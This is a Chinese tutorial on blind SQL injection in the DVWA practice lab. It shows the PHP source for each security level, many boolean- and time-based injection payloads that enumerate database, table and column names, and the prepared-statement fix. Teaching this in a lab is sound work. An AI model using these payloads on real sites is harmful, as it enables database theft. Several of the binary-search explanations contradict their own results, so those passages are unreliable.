新手教程-DVWA全级别教程之SQL Injection(blind)

系统环境

因为网上关于dvwa的相关资料都比较旧,所以想重新过一边dvwa的各个类型的漏洞,顺带初步入门php代码审计相关的知识。环境安装可以直接参照网上教程新手指南:手把手教你如何搭建自己的渗透测试环境,已经写的非常详细,可以直接按照教程一步步安装。

SQL Injection(Blind)简介

盲注,与一般的注入区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度比一般的注入高,目前网络上现存的SQL注入漏洞大多数是SQL盲注。

手工盲注思路

手工盲注的过程,就像你跟一个机器人聊天一样,这个机器人知道的很多,但是只会回答“是”或者“不是”,因此你需要询问的问题,例如“数据库名字的第一个字母是不是a啊”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注,基于时间的盲注以及基于错误的盲注,这里由于实验环境的限制所以只展示基于布尔的盲注和基于时间的盲注。
下面要介绍手工盲注的步骤(可与之前的手工注入做比较)
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库的表名
4.猜解表中的字段名
5.猜解数据
接下来对4个级别的代码进行分析

Low级别服务器端核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

low级别的代码堵参数id没有做任何检查,过滤,存在明显的sql注入漏洞,同时SQL语句查询返回的结果只有两种
User ID exists in the database.

User ID is MISSING from the database.
因此这里是SQL盲注漏洞。
漏洞利用
首先是基于布尔的盲注:
1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户的存在:


image.png

输入1' and 1=1 #,显示存在;


image.png

输入1' and 1=2 #,显示不存在;
image.png

说明存在字符型注入
2.猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后在挨个猜解字符
输入1' and length(database())=1 #,显示不存在
输入1' and length(database())=2 #,显示不存在
输入1' and length(database())=3 #,显示不存在
输入1' and length(database())=4 #,显示存在
说明数据库名的长度为4.

下面采用二分法猜解数据库名称
输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii码大于97(小写字母a的ascii码值);
输入1' and ascii(substr(database(),1,1))>122 #,显示不存在,说明数据库名的第一个字符的ascii码大于122(小写字母z的ascii码值);
输入1' and ascii(substr(database(),1,1))>109 #,显示不存在,说明数据库名的第一个字符的ascii码大于109(小写字母m的ascii码值);
输入1' and ascii(substr(database(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii码大于100(小写字母e的ascii码值);
输入1' and ascii(substr(database(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii码大于100(小写字母d的ascii码值);,所以数据库的第一个字符的ascii值为100,即小写字母d。
重复以上步骤,就可以猜解处完整的数据库名(dvwa)了。
3.猜解数据库中的表名
首先猜解数据库中表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #显示存在
说明数据库中有两个表。
接下里挨个猜表名
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1'and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明表的第一个字母为g
....
重复上述步骤,即可猜解处两个表名guestbook/users
4.猜解表中的字段值
首先猜解字段值的数量
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 显示存在
说明users表有8个字段。
接着挨个猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名。
5.猜解数据
同样采用二分法,还可以采用基于时间的盲注
1.判断是否存在注入,注入是字符型还是数字型
输入1’ and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;
说明存在字符型的基于时间的盲注。
2.猜解当前数据库名
首先猜解数据名的长度:
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4个字符。
接着采用二分法猜解数据库名:
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。
3.猜解数据库中的表名
首先猜解数据库中表的数量:
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
接着挨个猜解表名:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为9个字符。
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的数量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有8个字段。
接着挨个猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。
5.猜解数据
同样采用二分法。

Medium服务端核心代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
漏洞利用
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。
之前已经介绍了详细的盲注流程,这里就简要演示几个。
首先是基于布尔的盲注:
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。
然后是基于时间的盲注:
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

High服务端核心代码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
漏洞利用
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

Impossible服务端核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

参考文档

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,793评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,567评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,342评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,825评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,814评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,680评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,033评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,687评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,175评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,668评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,775评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,419评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,020评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,206评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,092评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,510评论 2 343

推荐阅读更多精彩内容

  • ————SQL Injection——(Blind)—— SQL Injection(Blind),即SQL盲注,...
    网络安全自修室阅读 559评论 0 2
  • SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法...
    牙疼吃糖阅读 1,644评论 1 5
  • pyspark.sql模块 模块上下文 Spark SQL和DataFrames的重要类: pyspark.sql...
    mpro阅读 9,446评论 0 13
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,259评论 0 5
  • 情感是人世间最真挚、最美好的东西,正是因为有了纯洁的师生情,才使得教育活动能收到春风化雨、润物无声的效果。“没有...
    连荷花阅读 431评论 5 6